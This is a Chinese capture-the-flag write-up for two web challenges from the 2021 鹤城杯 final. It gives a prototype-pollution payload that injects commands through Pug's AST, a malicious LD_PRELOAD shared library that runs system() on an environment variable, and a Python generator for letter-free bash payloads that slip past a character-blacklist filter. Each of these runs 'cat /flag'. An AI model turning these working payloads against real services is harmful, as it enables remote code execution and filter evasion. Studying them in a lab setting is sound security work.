0
点赞
收藏
分享

微信扫一扫

2021-鹤城杯-final

小美人鱼失去的腿 2022-04-20 阅读 20
web安全

vote

考点

AST配合Pug模板引擎实现注入

https://blog.p6.is/AST-Injection/

https://xz.aliyun.com/t/10218

wp

image-20220419225503783

主要代码,需要满足if语句,从而可以执行compile语句

payload

{
"__proto__.hero":{
	"name":"奇亚纳"
},
"__proto__.block": {
 	"type": "Text", 
    "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }
}

因为环境不出网,所以就只能写入本地后,再访问

image-20220419225732784

MultistaeAgency

考点

  1. GO语言上传文件和写入环境变量配合,利用恶意so文件来rce
  2. 利用curl来读取内网的服务器接口
  3. 然后点号,星号,问号和字母

wp

给了附件,下载附件

Dockerfile

FROM golang:latest

RUN mkdir -p /code/logs

COPY . /code

WORKDIR /code

RUN go build -o bin/web web/main.go && \
    	go build -o bin/proxy proxy/main.go && \
    	go build -o bin/server server/main.go

RUN chmod -R 777 /code

RUN useradd web

ADD flag /flag

RUN chmod 400 /flag

ENTRYPOINT  "/code/start.sh"

start.sh

echo `cat /proc/sys/kernel/random/uuid  | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1  >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1  >/code/logs/proxy.log &"

/code/bin/server 2>&1  >/code/logs/server.log &

tail -f /code/logs/*

可以知道有三个服务,web,server,proxy

其中web和proxy是web权限,server是root权限登录

flag是400权限,需要root权限

审web的main.go

image-20220419235044443

三个路由接口/token/uploadlist

token是用来获取token和设置环境变量

image-20220419235310212

upload是将上传的文件到当前token所对应的目录下面,然后请求server服务的/manage接口

image-20220419235416201

/list接口就是列出这个目录下的文件名

我们看server的manage接口

image-20220419235559416

其中m的值是可控的,然后格式化字符串后,就执行bash的命令。加上flag需要root权限读(文件所有者是root,用户组是普通用户),所有我们的目的还是需要执行server的exec命令

对于GET传参可控的话,直接拿分号分割命令然后读flag即可。

在前面token路由可以设置环境变量,加上可以上传文件。

我们可以上传一个so文件的动态链接库,然后LD_PRELOAD来加载一个上传的恶意so文件,就可以达到一个命令执行。

root@VM-0-6-ubuntu:~# vim evil.c
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
    unsetenv("LD_PRELOAD");
    system(getenv("cmd"));
}
root@VM-0-6-ubuntu:~# gcc -shared -fPIC -o evil.so evil.c

因为上传的文件路径是在token下的,所有要找到这个token。

proxy服务器的端口8080

image-20220420002655156

利用http_proxy,说明需要通过8080端口的proxy来访问

然后就开始rce

image-20220420003141507

然后读flag不成功,原因上面说过了。

接下来,就是需要直接拿shell进行访问(curl)内网的server服务的/manage

manage有个waf

func waf(c string) bool {
	var t int32
	t = 0
	blacklist := []string{".", "*", "?"}
	for _, s := range c {
		for _, b := range blacklist {
			if b == string(s) {
				return false
			}
		}
		if unicode.IsLetter(s) {
			if t == s {
				continue
			}
			if t == 0 {
				t = s
			} else {
				return false
			}
		}
	}

	return true
}

需要绕过点号,星号和问号和字母

利用师傅的脚本

from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s

def build(cmd):
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

print(quote(quote("123;"+build("cat /flag"))))


image-20220420003657993

出flag

参考文献

https://blog.csdn.net/rfrder/article/details/122330544

举报

相关推荐

0 条评论